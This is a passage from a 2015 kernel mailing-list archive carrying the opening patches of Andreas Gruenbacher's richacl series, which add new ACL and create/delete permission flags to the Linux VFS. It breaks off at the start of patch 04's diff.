Cache base_acl objects in inodes vfs: Add get_richacl and set_richacl inode operations vfs: Cache richacl in struct inode richacl: Update the file masks in chmod() richacl: Check if an acl is equivalent to a file mode richacl: Create-time inheritance richacl: Automatic Inheritance richacl: xattr mapping functions richacl: Add richacl xattr handler vfs: Add richacl permission checking xfs: Fix error path in xfs_get_acl xfs: Make xfs_set_mode non-static xfs: Add richacl support richacl: acl editing helper functions richacl: Move everyone@ aces down the acl richacl: Propagate everyone@ permissions to other aces richacl: Set the owner permissions to the owner mask richacl: Set the other permissions to the other mask richacl: Isolate the owner and group classes richacl: Apply the file masks to a richacl richacl: Create richacl from mode values nfsd: Keep list of acls to dispose of in compoundargs nfsd: Use richacls as internal acl representation nfsd: Add richacl support nfsd: Add support for the v4.1 dacl attribute nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions richacl: Add support for unmapped identifiers nfsd: Add support for unmapped richace identifiers ext4: Don't allow unmapped identifiers in richacls xfs: Don't allow unmapped identifiers in richacls sunrpc: Allow to demand-allocate pages to encode into sunrpc: Add xdr_init_encode_pages nfs: Fix GETATTR bitmap verification nfs: Remove unused xdr page offsets in getacl/setacl arguments nfs: Distinguish missing users and groups from nobody nfs: Add richacl support nfs: Add support for the v4.1 dacl attribute Aneesh Kumar K.V (2): ext4: Add richacl support ext4: Add richacl feature flag drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- fs/Kconfig | 9 + fs/Makefile | 3 + fs/attr.c | 81 ++- fs/ext4/Kconfig | 11 + fs/ext4/Makefile | 1 + fs/ext4/ext4.h | 6 +- fs/ext4/file.c | 3 + fs/ext4/ialloc.c | 11 +- fs/ext4/inode.c | 12 +- fs/ext4/namei.c | 5 + fs/ext4/richacl.c | 145 ++++ fs/ext4/richacl.h | 40 ++ fs/ext4/super.c | 42 +- fs/ext4/xattr.c | 7 + fs/f2fs/acl.c | 4 +- fs/inode.c | 15 +- fs/jffs2/acl.c | 6 +- fs/namei.c | 111 ++- fs/nfs/inode.c | 3 - fs/nfs/nfs4idmap.c | 57 +- fs/nfs/nfs4proc.c | 734 ++++++++++++++----- fs/nfs/nfs4xdr.c | 261 ++++++- fs/nfs/super.c | 4 +- fs/nfs_common/Makefile | 1 + fs/nfs_common/nfs4acl.c | 44 ++ fs/nfsd/Kconfig | 1 + fs/nfsd/acl.h | 23 +- fs/nfsd/nfs4acl.c | 487 +++++++------ fs/nfsd/nfs4proc.c | 25 +- fs/nfsd/nfs4xdr.c | 268 ++++--- fs/nfsd/nfsd.h | 6 +- fs/nfsd/nfsfh.c | 8 +- fs/nfsd/vfs.c | 28 +- fs/nfsd/vfs.h | 17 +- fs/nfsd/xdr4.h | 12 +- fs/posix_acl.c | 26 +- fs/richacl_base.c | 685 ++++++++++++++++++ fs/richacl_compat.c | 915 ++++++++++++++++++++++++ fs/richacl_inode.c | 333 +++++++++ fs/richacl_xattr.c | 345 +++++++++ fs/xattr.c | 34 +- fs/xfs/Kconfig | 1 + fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_format.h | 11 +- fs/xfs/xfs_acl.c | 19 +- fs/xfs/xfs_acl.h | 1 - fs/xfs/xfs_inode.c | 24 + fs/xfs/xfs_inode.h | 2 + fs/xfs/xfs_iops.c | 44 +- fs/xfs/xfs_richacl.c | 106 +++ fs/xfs/xfs_richacl.h | 23 + fs/xfs/xfs_super.c | 6 +- fs/xfs/xfs_super.h | 4 + fs/xfs/xfs_xattr.c | 2 + include/linux/fs.h | 51 +- include/linux/nfs4.h | 24 +- include/linux/nfs4acl.h | 7 + include/linux/nfs_fs.h | 1 - include/linux/nfs_fs_sb.h | 3 + include/linux/nfs_xdr.h | 13 +- include/linux/posix_acl.h | 12 +- include/linux/richacl.h | 276 +++++++ include/linux/richacl_compat.h | 40 ++ include/linux/richacl_xattr.h | 44 ++ include/linux/sunrpc/xdr.h | 2 + include/uapi/linux/Kbuild | 2 + include/uapi/linux/fs.h | 3 +- include/uapi/linux/nfs4.h | 3 +- include/uapi/linux/richacl.h | 111 +++ include/uapi/linux/richacl_xattr.h | 44 ++ include/uapi/linux/xattr.h | 2 + net/sunrpc/xdr.c | 34 + 73 files changed, 4985 insertions(+), 762 deletions(-) create mode 100644 fs/ext4/richacl.c create mode 100644 fs/ext4/richacl.h create mode 100644 fs/nfs_common/nfs4acl.c create mode 100644 fs/richacl_base.c create mode 100644 fs/richacl_compat.c create mode 100644 fs/richacl_inode.c create mode 100644 fs/richacl_xattr.c create mode 100644 fs/xfs/xfs_richacl.c create mode 100644 fs/xfs/xfs_richacl.h create mode 100644 include/linux/nfs4acl.h create mode 100644 include/linux/richacl.h create mode 100644 include/linux/richacl_compat.h create mode 100644 include/linux/richacl_xattr.h create mode 100644 include/uapi/linux/richacl.h create mode 100644 include/uapi/linux/richacl_xattr.h -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:18:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7CD197F69 for ; Fri, 16 Oct 2015 10:18:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 50FF3304062 for ; Fri, 16 Oct 2015 08:18:43 -0700 (PDT) X-ASG-Debug-ID: 1445008722-04bdf06db272970001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id rJJveKCAJvFTa1we (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:18:42 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id D90358E688; Fri, 16 Oct 2015 15:18:41 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbi011947; Fri, 16 Oct 2015 11:18:35 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 01/48] vfs: Add IS_ACL() and IS_RICHACL() tests Date: Fri, 16 Oct 2015 17:17:39 +0200 X-ASG-Orig-Subj: [PATCH v11 01/48] vfs: Add IS_ACL() and IS_RICHACL() tests Message-Id: <1445008706-15115-2-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008722 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The vfs does not apply the umask for file systems that support acls. The test used for this used to be called IS_POSIXACL(). Switch to a new IS_ACL() test to check for either posix acls or richacls instead. Add a new MS_RICHACL flag and IS_RICHACL() test for richacls alone. The IS_POSIXACL() test is still needed by nfsd. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Kconfig | 3 +++ fs/namei.c | 8 ++++---- include/linux/fs.h | 12 ++++++++++++ include/uapi/linux/fs.h | 3 ++- 4 files changed, 21 insertions(+), 5 deletions(-) diff --git a/fs/Kconfig b/fs/Kconfig index da3f32f..bff2879 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -56,6 +56,9 @@ endif # BLOCK config FS_POSIX_ACL def_bool n +config FS_RICHACL + def_bool n + config EXPORTFS tristate diff --git a/fs/namei.c b/fs/namei.c index 33e9495..224ecf1 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -2798,7 +2798,7 @@ static int atomic_open(struct nameidata *nd, struct dentry *dentry, } mode = op->mode; - if ((open_flag & O_CREAT) && !IS_POSIXACL(dir)) + if ((open_flag & O_CREAT) && !IS_ACL(dir)) mode &= ~current_umask(); excl = (open_flag & (O_EXCL | O_CREAT)) == (O_EXCL | O_CREAT); @@ -2982,7 +2982,7 @@ static int lookup_open(struct nameidata *nd, struct path *path, /* Negative dentry, just create the file */ if (!dentry->d_inode && (op->open_flag & O_CREAT)) { umode_t mode = op->mode; - if (!IS_POSIXACL(dir->d_inode)) + if (!IS_ACL(dir->d_inode)) mode &= ~current_umask(); /* * This write is needed to ensure that a @@ -3553,7 +3553,7 @@ retry: if (IS_ERR(dentry)) return PTR_ERR(dentry); - if (!IS_POSIXACL(path.dentry->d_inode)) + if (!IS_ACL(path.dentry->d_inode)) mode &= ~current_umask(); error = security_path_mknod(&path, dentry, mode, dev); if (error) @@ -3622,7 +3622,7 @@ retry: if (IS_ERR(dentry)) return PTR_ERR(dentry); - if (!IS_POSIXACL(path.dentry->d_inode)) + if (!IS_ACL(path.dentry->d_inode)) mode &= ~current_umask(); error = security_path_mkdir(&path, dentry, mode); if (!error) diff --git a/include/linux/fs.h b/include/linux/fs.h index 72d8a84..4efa435 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1781,6 +1781,12 @@ struct super_operations { #define IS_IMMUTABLE(inode) ((inode)->i_flags & S_IMMUTABLE) #define IS_POSIXACL(inode) __IS_FLG(inode, MS_POSIXACL) +#ifdef CONFIG_FS_RICHACL +#define IS_RICHACL(inode) __IS_FLG(inode, MS_RICHACL) +#else +#define IS_RICHACL(inode) 0 +#endif + #define IS_DEADDIR(inode) ((inode)->i_flags & S_DEAD) #define IS_NOCMTIME(inode) ((inode)->i_flags & S_NOCMTIME) #define IS_SWAPFILE(inode) ((inode)->i_flags & S_SWAPFILE) @@ -1794,6 +1800,12 @@ struct super_operations { (inode)->i_rdev == WHITEOUT_DEV) /* + * IS_ACL() tells the VFS to not apply the umask + * and use check_acl for acl permission checks when defined. + */ +#define IS_ACL(inode) __IS_FLG(inode, MS_POSIXACL | MS_RICHACL) + +/* * Inode state bits. Protected by inode->i_lock * * Three bits determine the dirty state of the inode, I_DIRTY_SYNC, diff --git a/include/uapi/linux/fs.h b/include/uapi/linux/fs.h index 9b964a5..6ac6bc9 100644 --- a/include/uapi/linux/fs.h +++ b/include/uapi/linux/fs.h @@ -81,7 +81,7 @@ struct inodes_stat_t { #define MS_VERBOSE 32768 /* War is peace. Verbosity is silence. MS_VERBOSE is deprecated. */ #define MS_SILENT 32768 -#define MS_POSIXACL (1<<16) /* VFS does not apply the umask */ +#define MS_POSIXACL (1<<16) /* Supports POSIX ACLs */ #define MS_UNBINDABLE (1<<17) /* change to unbindable */ #define MS_PRIVATE (1<<18) /* change to private */ #define MS_SLAVE (1<<19) /* change to slave */ @@ -91,6 +91,7 @@ struct inodes_stat_t { #define MS_I_VERSION (1<<23) /* Update inode I_version field */ #define MS_STRICTATIME (1<<24) /* Always perform atime updates */ #define MS_LAZYTIME (1<<25) /* Update the on-disk [acm]times lazily */ +#define MS_RICHACL (1<<26) /* Supports richacls */ /* These sb flags are internal to the kernel */ #define MS_NOSEC (1<<28) -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:18:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4A1987F69 for ; Fri, 16 Oct 2015 10:18:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1E063304062 for ; Fri, 16 Oct 2015 08:18:50 -0700 (PDT) X-ASG-Debug-ID: 1445008728-04bdf06db172980001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DG6MnuWgkuq2ijbk (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:18:48 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 78060C0B83CC; Fri, 16 Oct 2015 15:18:48 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbj011947; Fri, 16 Oct 2015 11:18:42 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 02/48] vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags Date: Fri, 16 Oct 2015 17:17:40 +0200 X-ASG-Orig-Subj: [PATCH v11 02/48] vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags Message-Id: <1445008706-15115-3-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008728 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Richacls distinguish between creating non-directories and directories. To support that, add an isdir parameter to may_create(). When checking inode_permission() for create permission, pass in an additional MAY_CREATE_FILE or MAY_CREATE_DIR mask flag. To allow checking for delete *and* create access when replacing an existing file via vfs_rename(), add a replace parameter to may_delete(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/namei.c | 43 +++++++++++++++++++++++++------------------ include/linux/fs.h | 2 ++ 2 files changed, 27 insertions(+), 18 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 224ecf1..0259392 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -453,7 +453,9 @@ static int sb_permission(struct super_block *sb, struct inode *inode, int mask) * this, letting us set arbitrary permissions for filesystem access without * changing the "normal" UIDs which are used for other things. * - * When checking for MAY_APPEND, MAY_WRITE must also be set in @mask. + * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, or + * MAY_CREATE_DIR are set. That way, file systems that don't support these + * permissions will check for MAY_WRITE instead. */ int inode_permission(struct inode *inode, int mask) { @@ -2549,10 +2551,11 @@ EXPORT_SYMBOL(__check_sticky); * 10. We don't allow removal of NFS sillyrenamed files; it's handled by * nfs_async_unlink(). */ -static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) +static int may_delete(struct inode *dir, struct dentry *victim, + bool isdir, bool replace) { struct inode *inode = d_backing_inode(victim); - int error; + int error, mask = MAY_WRITE | MAY_EXEC; if (d_is_negative(victim)) return -ENOENT; @@ -2561,7 +2564,9 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) BUG_ON(victim->d_parent->d_inode != dir); audit_inode_child(dir, victim, AUDIT_TYPE_CHILD_DELETE); - error = inode_permission(dir, MAY_WRITE | MAY_EXEC); + if (replace) + mask |= isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; + error = inode_permission(dir, mask); if (error) return error; if (IS_APPEND(dir)) @@ -2592,14 +2597,16 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir) * 3. We should have write and exec permissions on dir * 4. We can't do it if dir is immutable (done in permission()) */ -static inline int may_create(struct inode *dir, struct dentry *child) +static inline int may_create(struct inode *dir, struct dentry *child, bool isdir) { + int mask = isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; + audit_inode_child(dir, child, AUDIT_TYPE_CHILD_CREATE); if (child->d_inode) return -EEXIST; if (IS_DEADDIR(dir)) return -ENOENT; - return inode_permission(dir, MAY_WRITE | MAY_EXEC); + return inode_permission(dir, MAY_WRITE | MAY_EXEC | mask); } /* @@ -2649,7 +2656,7 @@ EXPORT_SYMBOL(unlock_rename); int vfs_create(struct inode *dir, struct dentry *dentry, umode_t mode, bool want_excl) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -3494,7 +3501,7 @@ EXPORT_SYMBOL(user_path_create); int vfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -3586,7 +3593,7 @@ SYSCALL_DEFINE3(mknod, const char __user *, filename, umode_t, mode, unsigned, d int vfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, true); unsigned max_links = dir->i_sb->s_max_links; if (error) @@ -3667,7 +3674,7 @@ EXPORT_SYMBOL(dentry_unhash); int vfs_rmdir(struct inode *dir, struct dentry *dentry) { - int error = may_delete(dir, dentry, 1); + int error = may_delete(dir, dentry, true, false); if (error) return error; @@ -3789,7 +3796,7 @@ SYSCALL_DEFINE1(rmdir, const char __user *, pathname) int vfs_unlink(struct inode *dir, struct dentry *dentry, struct inode **delegated_inode) { struct inode *target = dentry->d_inode; - int error = may_delete(dir, dentry, 0); + int error = may_delete(dir, dentry, false, false); if (error) return error; @@ -3923,7 +3930,7 @@ SYSCALL_DEFINE1(unlink, const char __user *, pathname) int vfs_symlink(struct inode *dir, struct dentry *dentry, const char *oldname) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; @@ -4006,7 +4013,7 @@ int vfs_link(struct dentry *old_dentry, struct inode *dir, struct dentry *new_de if (!inode) return -ENOENT; - error = may_create(dir, new_dentry); + error = may_create(dir, new_dentry, false); if (error) return error; @@ -4194,19 +4201,19 @@ int vfs_rename(struct inode *old_dir, struct dentry *old_dentry, if (source == target) return 0; - error = may_delete(old_dir, old_dentry, is_dir); + error = may_delete(old_dir, old_dentry, is_dir, false); if (error) return error; if (!target) { - error = may_create(new_dir, new_dentry); + error = may_create(new_dir, new_dentry, is_dir); } else { new_is_dir = d_is_dir(new_dentry); if (!(flags & RENAME_EXCHANGE)) - error = may_delete(new_dir, new_dentry, is_dir); + error = may_delete(new_dir, new_dentry, is_dir, true); else - error = may_delete(new_dir, new_dentry, new_is_dir); + error = may_delete(new_dir, new_dentry, new_is_dir, true); } if (error) return error; @@ -4469,7 +4476,7 @@ SYSCALL_DEFINE2(rename, const char __user *, oldname, const char __user *, newna int vfs_whiteout(struct inode *dir, struct dentry *dentry) { - int error = may_create(dir, dentry); + int error = may_create(dir, dentry, false); if (error) return error; diff --git a/include/linux/fs.h b/include/linux/fs.h index 4efa435..d6e2330 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -82,6 +82,8 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_CHDIR 0x00000040 /* called from RCU mode, don't block */ #define MAY_NOT_BLOCK 0x00000080 +#define MAY_CREATE_FILE 0x00000100 +#define MAY_CREATE_DIR 0x00000200 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7FA767F76 for ; Fri, 16 Oct 2015 10:19:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EC4D8AC005 for ; Fri, 16 Oct 2015 08:18:56 -0700 (PDT) X-ASG-Debug-ID: 1445008735-04cb6c3ceb39ee0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id rYyyVhcbTHJcftxZ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:18:55 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 1476391E9F; Fri, 16 Oct 2015 15:18:55 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbk011947; Fri, 16 Oct 2015 11:18:49 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 03/48] vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags Date: Fri, 16 Oct 2015 17:17:41 +0200 X-ASG-Orig-Subj: [PATCH v11 03/48] vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags Message-Id: <1445008706-15115-4-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008735 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Normally, deleting a file requires MAY_WRITE access to the parent directory. With richacls, a file may be deleted with MAY_DELETE_CHILD access to the parent directory or with MAY_DELETE_SELF access to the file. To support that, pass the MAY_DELETE_CHILD mask flag to inode_permission() when checking for delete access inside a directory, and MAY_DELETE_SELF when checking for delete access to a file itelf. The MAY_DELETE_SELF permission overrides the sticky directory check. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/namei.c | 21 ++++++++++++--------- include/linux/fs.h | 2 ++ 2 files changed, 14 insertions(+), 9 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 0259392..2eab19e 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -453,9 +453,9 @@ static int sb_permission(struct super_block *sb, struct inode *inode, int mask) * this, letting us set arbitrary permissions for filesystem access without * changing the "normal" UIDs which are used for other things. * - * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, or - * MAY_CREATE_DIR are set. That way, file systems that don't support these - * permissions will check for MAY_WRITE instead. + * MAY_WRITE must be set in @mask whenever MAY_APPEND, MAY_CREATE_FILE, + * MAY_CREATE_DIR, or MAY_DELETE_CHILD are set. That way, file systems that + * don't support these permissions will check for MAY_WRITE instead. */ int inode_permission(struct inode *inode, int mask) { @@ -2555,7 +2555,7 @@ static int may_delete(struct inode *dir, struct dentry *victim, bool isdir, bool replace) { struct inode *inode = d_backing_inode(victim); - int error, mask = MAY_WRITE | MAY_EXEC; + int error, mask = MAY_EXEC; if (d_is_negative(victim)) return -ENOENT; @@ -2565,15 +2565,18 @@ static int may_delete(struct inode *dir, struct dentry *victim, audit_inode_child(dir, victim, AUDIT_TYPE_CHILD_DELETE); if (replace) - mask |= isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE; - error = inode_permission(dir, mask); + mask |= MAY_WRITE | (isdir ? MAY_CREATE_DIR : MAY_CREATE_FILE); + error = inode_permission(dir, mask | MAY_WRITE | MAY_DELETE_CHILD); + if (!error && check_sticky(dir, inode)) + error = -EPERM; + if (error && IS_RICHACL(inode) && + inode_permission(inode, MAY_DELETE_SELF) == 0) + error = 0; if (error) return error; if (IS_APPEND(dir)) return -EPERM; - - if (check_sticky(dir, inode) || IS_APPEND(inode) || - IS_IMMUTABLE(inode) || IS_SWAPFILE(inode)) + if (IS_APPEND(inode) || IS_IMMUTABLE(inode) || IS_SWAPFILE(inode)) return -EPERM; if (isdir) { if (!d_is_dir(victim)) diff --git a/include/linux/fs.h b/include/linux/fs.h index d6e2330..402acd7 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -84,6 +84,8 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_NOT_BLOCK 0x00000080 #define MAY_CREATE_FILE 0x00000100 #define MAY_CREATE_DIR 0x00000200 +#define MAY_DELETE_CHILD 0x00000400 +#define MAY_DELETE_SELF 0x00000800 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:19:06 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5A2327F83 for ; Fri, 16 Oct 2015 10:19:06 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3C1548F8059 for ; Fri, 16 Oct 2015 08:19:03 -0700 (PDT) X-ASG-Debug-ID: 1445008741-04bdf06db3729a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KSbYiRsM7Hudq5rm (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:19:01 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 9BC558AE72; Fri, 16 Oct 2015 15:19:01 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbl011947; Fri, 16 Oct 2015 11:18:55 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 04/48] vfs: Make the inode passed to inode_change_ok non-const Date: Fri, 16 Oct 2015 17:17:42 +0200 X-ASG-Orig-Subj: [PATCH v11 04/48] vfs: Make the inode passed to inode_change_ok non-const Message-Id: <1445008706-15115-5-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008741 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 We will need to call iop->permission and iop->get_acl from inode_change_ok() for additional permission checks, and both take a non-const inode. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/attr.c | 2 +- include/linux/fs.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git 